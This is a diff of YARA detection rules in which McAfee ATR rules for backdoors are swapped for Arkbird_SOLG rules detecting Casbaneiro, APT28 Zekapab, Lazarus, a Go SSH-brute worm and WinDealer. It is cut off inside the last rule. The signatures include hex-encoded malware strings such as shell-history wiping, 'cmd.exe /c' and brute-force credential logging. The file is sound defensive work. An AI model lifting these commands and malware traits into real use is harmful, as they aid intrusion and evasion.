+rule ARKBIRD_SOLG_Malware_Casbaneiro_MSI : FILE
 {
 	meta:
-		description = "Rule to detect the backdoor pwnlnx variant 6"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "56bfe9c7-4cd4-51f6-a469-da8af52d64c2"
-		date = "2020-04-17"
-		modified = "2020-08-14"
-		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L131-L161"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "d29254ab907c9ef54349de3ec0dd8b22b4692c58ed7a7b340afbc6e44363f96a"
-		logic_hash = "29423135a46ee7b9aa1bd8f1e6f7ffad09725787ad6e75312e1d34b18e3917d4"
+		description = "Detect MSIPackage used by Casbaneiro"
+		author = "Arkbird_SOLG"
+		id = "47a5ea47-f799-5467-a482-9816c0de3ecf"
+		date = "2020-06-05"
+		modified = "2020-06-05"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1268811438707159040"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-05/Casbaneiro/Casbaneiro_stealer.yar#L3-L22"
+		license_url = "N/A"
+		logic_hash = "fa1c53268d51b4b34b4cf4cd84ddb43ffba1dfa8bbe73cd7506f5e31e970855b"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Pwnlnx"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 71
+		tags = "FILE"
+		hash1 = "8e77a2e1d30600db01a8481d232b601581faee02b7ec44c1ad9d74ec3544ba7d"
 
 	strings:
-		$bp = { 7F??4C4602??01??000000000000000001??3E????000000000000000000000000000000000000??????09??00000000000000004000000000??????2B??28??04??000014??000003??0000474E55????4D9585????AB6522????52AD3B??EC9B4BE8????????0000000000000000????00000000554889??????????4889??41544989??534889??488B??????????E8????????4C89??4889??48C7??????????FF??????????488B??????????89??E8????????89??5B415C5DC30F1F??E8????????554889??????????4889??41544989??534889??488B??????????E8????????4C89??4889??48C7??????????FF??????????488B??????????89??E8????????89??5B415C5DC30F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??41574589??415641554189??4154534889??4883????488B??????????4889????4889????4C89????483D????????4C8D????74??4C63??EB??0F1F??????498B????483D????????4C8D????74??498B??4C89??4889??E8????????85??75??4883????5B415C415D415E415F5DC30F1F??????????4589??4C8B????488B????4489??4889??488B????FF??????????4883????5B415C415D415E415F5DC3660F1F??????E8????????554889??41574589??41564D89??41554989??41544189??BA????????534889??488D????4883????4889????4889??65??8B????????????4889????31??E8????????488B??????????4881??????????488D????74??0FB7????4839??75??EB??0F1F????????????410FB7????4839??74??4C8B????4981??????????498D????75??4589??4D89??4C89??4489??4889??488B????FF??????????488B????65??33????????????75??4883????5B415C415D415E415F5DC3660F1F??????31??EB??E8????????0F1F??????662E0F1F????????????E8????????55BF????????4889??4881??????????65??8B????????????4889????31??488D??????????FF????????????B9????????4889??488D??????????F3??A5488D??????????48C7??????????BE????????B1??E8????????4885??74??48BA???????? }
+		$x1 = "C:\\Branch\\win\\Release\\custact\\x86\\vmdetect.pdb" fullword ascii
+		$s2 = "C:\\Branch\\win\\Release\\custact\\\\x86\\AICustAct.pdb" fullword ascii
+		$s3 = ";!@Install@!UTF-8!\\nTitle=\"Mozilla Firefox\"\\nRunProgram=\"setup-stub.exe\"\\n;!@InstallEnd@!7z" fullword ascii
+		$s4 = "__MOZCUSTOM__:campaign%3D%2528not%2Bset%2529%26content%3D%2528not%2Bset%2529%26medium%3Dreferral%26source%3Dwww.google.com" fullword ascii
+		$s5 = "https://www.mozilla.com0\\r" fullword wide
+		$s6 = "__CxxFrameHandler" fullword ascii
+		$s7 = "release+certificates@mozilla.com" fullword ascii
+		$s8 = "setup-stub.exe" fullword ascii
+		$s9 = "7zS.sfx.exe" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <700KB and all of them
+		uint16(0)==0xd0cf and filesize >100KB and 7 of them
 }
 import "pe"
 
-rule TRELLIX_ARC_Mirai_Casper_Variant : BACKDOOR FILE
+rule ARKBIRD_SOLG_APT28_Zekapab_June_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect the Mirai Casper variant"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "0f3a028c-9514-51cd-ad82-415e8ac2dee7"
-		date = "2020-04-17"
-		modified = "2020-08-14"
-		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L163-L193"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "57cc422a6a90c571198a2d1c3db13c31fbdb48ba2f0f4356846d6d636d0f9300"
-		logic_hash = "5449d1ef0c4977c6151fc194ad5f526b6be414c1efb7fd4bacb77d4bcd89c703"
+		description = "Detect Delphi variant of Zekapab"
+		author = "Arkbird_SOLG"
+		id = "cf87e67f-2db9-537d-8800-8cd47b47c276"
+		date = "2020-06-28"
+		modified = "2020-06-28"
+		reference = "https://twitter.com/DrunkBinary/status/1276573779037163520"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-28/APT28_Zekapab_June_2020_1.yar#L3-L29"
+		license_url = "N/A"
+		logic_hash = "a02a78b8f60cf9d4441cc18b70fd00ec89253a5feafdc0eb392486b575bc61e2"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Pwnlnx"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 25
+		tags = "FILE"
+		hash1 = "12879b9d8ae046ca2f2ebcc7b1948afc44e6e654b7f4746e7a5243267cfd7c46"
 
 	strings:
-		$bp = { 7F??4C4601??01??000000000000000002??03??01??0000E0??04??34??000088??????????000034??20??05????????????????000000000000000080??????80??????15????????0C??05????????10??????0000??????0C??40A510??40A510??80??????904A0000060000000010????????0000D4??0000D4??04??D4??04??440000??????????????000004??0000070000??????0C??40A510??40A510??14??000030??000004??000004??000051E5??64????000000000000000000000000000000000000060000??????000004??000010??000001??0000474E5500000000????0000????0000????0000??????000014??000003??0000474E55??????3A??87????529723????2C??08??????AB35????????2A??0000BC????????0000????A510??2A??0000C4??????????0000C8??????2A??0000CCA510??2A??00005589??5383????E8????????5B81??????????8B??????????85??74??E8????????E8????????E8????????585BC9C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????000000000000000031??5E89??83????50545268????????68????????515668????????E8????????F490909090909090909090909090905589??538D??????80????????????75??BB????????A1????????81??????????C1????83????39??73??908D??????83????A3????????FF????????????A1????????39??72??B8????????85??74??C7????????????E8????????C6????????????8D??????5B5DC3908D??????55B8????????89??8D??????E8????????5A81??????????85??74??89??????C7??????????????C7??????????????C7????????????E8????????A1????????85??74??B8????????85??74??C7????????????FF??C9C39090905589??83????8B????88????A1????????85??74??A1????????0FB6????88??83????A3????????EB??C7??????????????8D????89??????C7????????????E8????????C9C35589??83????EB??8B????0FB6??0FBE??83??????89????E8????????8B????0FB6??84??75??C9C35589??83????8B????0FB6??88????83??????80??????0F84????????80??????74??0FBE????89????E8????????E9????????C7????????????8B????0FB6??88????83??????80??????75??C7????????????8B????0FB6??88????83??????EB??80??????75??C7????????????8B????0FB6??88????83??????C7????????????EB??8B????89??C1????01??01??89??0FBE????8D????83????89????8B????0FB6??88????83??????80??????7E??80??????7E??80??????74??80??????75??83??????8B????0FB6??88????83??????80??????0F84????????0FB6????88????80??????7E??0FB6????83????88????0FBE????83????83????0F87????????8B????????????FF??8B????8D????89????8B??89????C7????????????EB??83??????8B????8B????8D????0FB6??84??75??EB??C7????????????E8????????8B????83????85??75??8B????3B????0F92??83??????84??75??8B????89????E8????????EB??C7????????????E8????????8B????3B????0F92??83??????84??75??E9????????8B????8D????89????8B??0FBE??89????E8????????E9????????C7????????????EB??C7????????????EB??C7????????????EB??C7????????????EB??0FBE????89????E8????????E9????????8B????83????85??74??8B????8D????89????8B??EB??80??????75??8B????8D????89????8B??EB??8B????8D????89????8B??89????80??????75??8B????85??79??F7????83??????C7????????????8B????BA????????F7????89??88????8B????BA????????F7????89????80??????7E??80??????75??B8????????EB??B8????????0FB6????01??88????8B????0FB6????83????88??????83??????83??????74??83??????76??8B????83????85??74??8B????C6????????83??????8B????89????8B????83????84??74??B8????????EB??B8????????88????EB??0FBE????89????E8????????8B????83????85??75??8B????3B????0F92??83??????84??75??83??????8B????0FB6??????0FBE??89????E8????????83??????75??EB??C7????????????E8????????8B????3B????0F92??83??????84??75??E9????????E9????????90EB??90C9C35589??83????8D????89????8B????89??????8B????89????E8????????C9C35589??83????8B????8B????88????88????C9C35589??57565381??????????8B????8B????88??????????88??????????C7??????????????????C7??????????????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????89??????????0FB6??????????C7??????????????C7??????????????8B????89??????89????E8????????66????????????8D??????????BA????????89??????C7??????????????89????E8????????83????????????0F84????????83????????????0F84????????8B??????????89????E8????????3D????????0F8F????????8B??????????89????E8????????83????0F8F????????8B??????????89????E8????????83????0F8F????????C7??????????????????EB??8B??????????03??????????0FB6??3C??7E??8B??????????03??????????0FB6??3C??7F??8B??????????03??????????8B??????????03??????????0FB6??83????88??8B??????????83????89??????????8B??????????89????E8????????8B??????????39??7F??81??????????????????7E??C7??????????????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????C7????????????E8????????8B??????????C7??????????????89????E8????????89??????????C7??????????????????E9????????8B??????????69??????????03??????????C6??????8B??????????69??????????03??????????C7??????????8B??????????69??????????89??03??????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????8B????89????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????0FB6??????????3C??74??8B??????????69??????????03??????????05????????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????69??????????03??????????81??????????83????89??????89??????89????E8????????8B??????????69??????????03??????????C6????????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????8B??????????69??????????03??????????8D??????????8B??????????89??????89????E8????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????0FB6????3C??0F87????????8B??????????69??????????89??03??????????0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????8B????89????E8????????89??E8????????89??0FB6??????????8B??????????89??C1????F7??89??89??89??01??01??C1????03????0FB6????0FB6??89??89??D3??89??8D????89????E8????????89????E8????????89??BA????????89??F7??89??C1????89??C1????01??89??29??83????0F87????????8B????????????FF??C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7????????????E8????????E9????????C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7????????????E8????????E9????????C7????????????E8????????C7??????????????C7????????????E8????????8B??????????69??????????03??????????83????89??????89????E8????????C7???????????? }
+		$s1 = "54484520494E535452554354494F4E2041542030783763663538326164205245464552454E434544204D454D4F525920415420307830303030303030302E2054" ascii
+		$s2 = "Mozilla/3.0 (compatible; Indy Library)" fullword ascii
+		$s3 = "5C4164646974696F6E735C73616D636C69656E742E657865" ascii
+		$s4 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\FontSubstitutes" fullword ascii
+		$s5 = "\\SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\" fullword ascii
+		$s6 = "Software\\Borland\\Delphi\\Locales" fullword ascii
+		$s7 = "SOFTWARE\\Borland\\Delphi\\RTL" fullword ascii
+		$s8 = "Software\\Borland\\Locales" fullword ascii
+		$s9 = "FastMM Borland Edition" fullword ascii
+		$s10 = "#7@Qhq\\1@NWgyxeH\\_bpdgc" fullword ascii
+		$s11 = "4150504C49434154494F4E204552524F52" ascii
+		$s12 = "436D442E457865202F6320" ascii
+		$s13 = "6572726F72" ascii
+		$s14 = "WndProcPtr" fullword ascii
+		$s15 = "Request.UserAgent" fullword ascii
+		$s16 = "ProxyPassword<" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <3000KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="dbdfe8b60c1de0a9201044b3e91b9502" or 12 of them )
 }
 import "pe"
 
-rule TRELLIX_ARC_APT_Stolen_Certificates : BACKDOOR FILE
+rule ARKBIRD_SOLG_APT_NK_Lazarus_Implant_June_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect samples digitally signed from these stolen certificates"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "57051977-780c-5c8e-bc66-0f1d8b3bbd93"
-		date = "2020-04-17"
-		modified = "2020-08-14"
-		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_decade_of_RATs.yar#L196-L221"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "ce3424524fd1f482a0339a3f92e440532cff97c104769837fa6ae52869013558"
-		logic_hash = "9b700e4889349d0203bdd4e00035ee9c9aba5025ccc57eef915b2c78996f8160"
+		description = "Detect Lazarus implant June 2020"
+		author = "Arkbird_SOLG"
+		id = "602c33f2-1e34-5267-9154-ada2d6edc64b"
+		date = "2020-06-28"
+		modified = "2020-06-28"
+		reference = "https://twitter.com/ccxsaber/status/1277064824434745345"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-28/APT_NK_Lazarus_Implant_June_2020_1.yar#L3-L23"
+		license_url = "N/A"
+		logic_hash = "29b6b8d3bdd47707854ed0dc00808d6352934950a8e7244450df78422ff3cb15"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Pwnlnx"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 73
+		tags = "FILE"
+		hash1 = "21afaceee5fab15948a5a724222c948ad17cad181bf514a680267abcce186831"
+
+	strings:
+		$s1 = "Upgrade.exe" fullword ascii
+		$s2 = "ver=%d&timestamp=%lu" fullword ascii
+		$s3 = "_update.php" fullword ascii
+		$s4 = "Dorusio Wallet 2.1.0 (Check Update Windows)" fullword wide
+		$s5 = "Content-Type: application/x-www-form-urlencoded" fullword ascii
+		$s6 = "CONOUT$" fullword ascii
+		$s7 = "D$8fD;i" fullword ascii
+		$s8 = "WinHttpOpenRequest" fullword ascii
+		$s9 = "HTTP/1.0" fullword ascii
+		$s10 = "POST" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "/C=KR/ST=Seoul/L=Gangnam-gu/O=LivePlex Corp/CN=LivePlex Corp" and pe.signatures[i].serial=="3f:55:42:e2:e7:1d:8d:b3:57:04:1c:9d:d4:5b:95:0a" or pe.signatures[i].subject contains "/C=KR/ST=Seoul/L=Gangnam-gu/O=LivePlex Corp/CN=LivePlex Corp" and pe.signatures[i].serial=="3f:55:42:e2:e7:1d:8d:b3:57:04:1c:9d:d4:5b:95:0a" or pe.signatures[i].subject contains "/C=KR/ST=Seoul/L=Gangnam-gu/O=LivePlex Corp/CN=LivePlex Corp" or pe.signatures[i].serial=="3f:55:42:e2:e7:1d:8d:b3:57:04:1c:9d:d4:5b:95:0a")
+		uint16(0)==0x5a4d and filesize <30KB and (pe.imphash()=="565005404f00b7def4499142ade5e3dd" or 6 of them )
 }
-rule TRELLIX_ARC_Enfal_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_ELF_Go_Worm_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Enfal malware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "09b9667c-cf58-5438-958d-19a99fe91e32"
-		date = "2013-08-27"
-		modified = "2020-08-14"
-		reference = "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/enfal"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/enfal_pdb.yar#L1-L29"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "6756808313359cbd7c50cd779f809bc9e2d83c08da90dbd80f5157936673d0bf"
-		logic_hash = "1f7785a4c54981c3e7cb417718312e0ed82132b9bd9288f7b0f322cbeafbaecd"
+		description = "Detect the worm written in Go that drops XMRig Miner"
+		author = "Arkbird_SOLG"
+		id = "6f4a9d3a-e038-5d7f-9c18-c380a0b295d2"
+		date = "2021-07-06"
+		modified = "2021-07-06"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1409848815948111877"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-06/MAL_ELF_Go_Worm_Jul_2021_1.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "be8b95f8aab62d3a2b3376a0481ebc609afcd089e0613d39f258e07366b708a1"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Enfal"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		quality = 61
+		tags = "FILE"
+		hash1 = "774ccd1281b02bc9f0c7e7185c424a42cd98bcc758c893e8a96dfb206a02fcbe"
+		hash2 = "bea5a4358184555924ab6c831bf34edf279f4b93d750d5321263439dcf9c245a"
+		tlp = "White"
+		adversary = "-"
 
 	strings:
-		$pdb = "\\Documents and Settings\\Administrator\\My Documents\\Work\\EtenFalcon\\Release\\DllServiceTrojan.pdb"
-		$pdb1 = "\\Documents and Settings\\Administrator\\My Documents\\Work\\EtenFalcon\\Release\\ServiceDll.pdb"
-		$pdb2 = "\\Release\\ServiceDll.pdb"
-		$pdb3 = "\\muma\\0511\\Release\\ServiceDll.pdb"
-		$pdb4 = "\\programs\\LuridDownLoader\\LuridDownloader for Falcon\\ServiceDll\\Release\\ServiceDll.pdb"
+		$s1 = { 57 6f 72 6b 65 72 3a 20 28 25 64 29 2c 20 43 68 65 63 6b 20 49 50 28 25 73 29 20 77 69 74 68 20 53 53 48 20 70 6f 72 74 20 69 73 20 6f 70 65 6e 2e 2e 2e }
+		$s2 = { 63 61 74 20 2f 64 65 76 2f 6e 75 6c 6c 20 3e 20 7e 2f 2e 62 61 73 68 5f 68 69 73 74 6f 72 79 20 26 26 20 68 69 73 74 6f 72 79 20 2d 63 }
+		$s3 = { 6e 6f 68 75 70 20 2e 2f 25 73 20 26 3e 20 6d 79 73 71 6c 6c 6f 67 73 20 26 }
+		$s4 = { 72 6d 20 2d 66 20 25 73 20 6d 79 73 71 6c 6c 6f 67 73 }
+		$s5 = { 63 6f 6d 6d 61 6e 64 20 2d 76 20 62 61 73 68 }
+		$s6 = { 53 74 6f 70 20 62 72 75 74 65 20 6f 6e 2c 20 57 6f 72 6b 65 72 3a 20 28 25 64 29 2c 20 54 72 79 3a 20 49 50 3a 20 25 73 2c 20 63 72 65 64 65 6e 74 69 61 6c 3a 20 25 73 2f 25 73 20 28 25 64 2f 25 64 29 3a 20 44 55 52 41 54 49 4f 4e 3a 20 25 66 }
+		$s7 = { 57 6f 72 6b 65 72 3a 20 28 25 64 29 2c 20 54 72 79 3a 20 49 50 3a 20 25 73 2c 20 63 72 65 64 65 6e 74 69 61 6c 3a 20 25 73 2f 25 73 20 28 25 64 2f 25 64 29 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and any of them
+		uint32(0)==0x464c457f and filesize >900KB and all of ($s*)
 }
-rule TRELLIX_ARC_Apt_Turla_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_Windealer_Oct_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect a component of the APT Turla"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "b39ac7fc-16dd-559e-8ab0-76da5cbbc719"
-		date = "2017-05-31"
-		modified = "2020-08-14"
-		reference = "https://attack.mitre.org/groups/G0010/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_turla_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "3b8bd0a0c6069f2d27d759340721b78fd289f92e0a13965262fea4e8907af122"
-		logic_hash = "d519317c936a38f189bf0de908902ec4e3e079c8c7463c8881ceb332c0a82a26"
+		description = "Detect WinDealer implant"
+		author = "Arkbird_SOLG"
+		id = "7ffece8a-b56a-5893-a135-3001c0327f66"
+		date = "2021-10-30"
+		modified = "2021-10-31"
+		reference = "https://blogs.jpcert.or.jp/en/2021/10/windealer.html"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-30/WinDealer/MAL_WinDealer_Oct_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "b6211274a0ffa55723d3c34763540278197507b4bd4b853249e16501a3aa5acb"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Turla"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		quality = 71
+		tags = "FILE"
+		hash1 = "1e9fc7f32bd5522dd0222932eb9f1d8bd0a2e132c7b46cfcc622ad97831e6128"
+		hash2 = "b9f526eea625eec1ddab25a0fc9bd847f37c9189750499c446471b7a52204d5a"
+		tlp = "white"
+		adversary = "LuoYu"
 
 	strings:
-		$pdb = "\\Workshop\\Projects\\cobra\\carbon_system\\x64\\Release\\carbon_system.pdb"
+		$s1 = { 8b ec 81 ec 64 03 00 00 53 56 33 db 6a 64 8d 45 9c 53 50 e8 [2] 00 00 be 00 01 00 00 8d 85 9c fc ff ff 56 53 50 e8 [2] 00 00 56 8d 85 9c fd ff ff 53 50 e8 [2] 00 00 56 8d 85 9c fe ff ff 53 50 e8 [2] 00 00 83 c4 30 8d 45 9c 6a 64 50 ff 15 [2] 41 00 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 ff 75 9c e8 [2] ff ff 83 c4 10 38 9d 9c fe ff ff 5e 5b 75 20 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 ff 75 9c e8 [2] ff ff 83 c4 10 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 68 [2] 41 00 ff 75 08 ff 15 [2] 41 00 83 c4 14 6a }
+		$s2 = { 8b ec b8 40 1c 00 00 e8 [2] 00 00 56 57 33 ff 68 [2] 41 00 89 7d f8 ff 15 [2] 41 00 8b f0 6a 32 8d 45 c0 57 50 e8 [2] 00 00 83 c4 10 3b f7 74 1c 6a 5c 56 ff 15 [2] 41 00 59 3b c7 59 74 0d 40 50 8d 45 c0 50 e8 [2] 00 00 59 59 be 00 04 00 00 8d 85 c0 f7 ff ff 56 57 50 89 75 fc e8 [2] 00 00 8d 45 fc 50 8d 85 c0 f7 ff ff 50 e8 fb fd ff ff 83 c4 14 39 7d fc 75 24 56 8d 85 c0 f7 ff ff 57 50 89 75 fc e8 [2] 00 00 8d 45 fc 50 8d 85 c0 f7 ff ff 50 e8 ?? fc ff ff 83 c4 14 56 8d 85 c0 fb ff ff 57 50 e8 [2] 00 00 8d 85 c0 fb ff ff 50 e8 [2] 00 00 8d 85 c0 fb ff ff 50 e8 [2] 00 00 83 c4 14 83 7d fc 0a 7e 3e 83 f8 0a 7e 6d 8d 45 c0 50 8d 85 c0 fb ff ff 50 8d 85 c0 f7 ff ff 50 8d 85 c0 e3 ff ff 68 [2] 41 00 50 ff 15 [2] 41 00 50 8d 85 c0 e3 ff ff 50 e8 4d fd ff ff 83 c4 1c 89 45 f8 eb 5c 83 f8 0a 7e 2f 8d 45 c0 50 8d 85 c0 fb ff ff 50 8d 85 c0 e3 ff ff 68 [2] 41 00 50 ff 15 [2] 41 00 50 8d 85 c0 e3 ff ff 50 e8 16 fd ff ff 83 c4 18 eb c7 6a 43 8d 45 f4 68 [2] 41 00 50 ff 15 [2] 41 00 83 c4 0c 8d 45 f8 57 57 57 57 50 57 8d 45 f4 57 50 ff 15 [2] 41 00 8b 45 f8 }
+		$s3 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4e 65 74 77 6f 72 6b 5c 7b 34 44 33 36 45 39 37 32 2d 45 33 32 35 2d 31 31 43 45 2d 42 46 43 31 2d 30 38 30 30 32 42 45 31 30 33 31 38 7d 5c 25 73 5c 43 6f 6e 6e 65 63 74 69 6f 6e }
+		$s4 = { 6d 61 63 3a 20 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 }
+		$s5 = { 8b d8 59 85 db 59 74 57 56 e8 [2] 00 00 03 d8 53 ff 15 [2] 41 00 6a 00 50 e8 [2] ff ff 6a 64 8d 45 9c 6a 00 50 e8 [2] 00 00 83 c4 1c 8d 45 9c 68 [2] 41 00 68 [2] 41 00 50 ff 15 [2] 41 00 66 8b 8f d2 07 00 00 51 8a 8f d0 07 00 00 51 50 8d 45 9c 50 e8 ?? f1 ff ff 83 c4 1c 5f 5e 33 c0 5b c9 c3 55 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <650KB and any of them
+		uint16(0)==0x5A4D and filesize >80KB and 4 of ($s*)
 }
-rule TRELLIX_ARC_Chimera_Recordedtv_Modified : TROJAN FILE
+rule ARKBIRD_SOLG_MAL_Windealer_Oct_2021_2 : FILE
 {
 	meta:
-		description = "Rule to detect the modified version of RecordedTV.ms found in the Operation Skeleton"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "b0969713-41a4-550c-9545-f02783fa8d02"
-		date = "2020-04-21"
-		modified = "2020-08-14"
-		reference = "https://medium.com/@cycraft_corp/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_operation_skeleton.yar#L1-L33"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "66f13964c87fc6fe093a9d8cc0de0bf2b3bdaea9564210283fdb97a1dde9893b"
-		logic_hash = "7165779b66999259a079fa68f898c5f9fb634adcb9d249366d321dff1014184b"
+		description = "Detect modules from WinDealer implant"
+		author = "Arkbird_SOLG"
+		id = "3cca1fa1-2651-5a93-bef1-d32a7b5be4c9"
+		date = "2021-10-30"
+		modified = "2021-10-31"
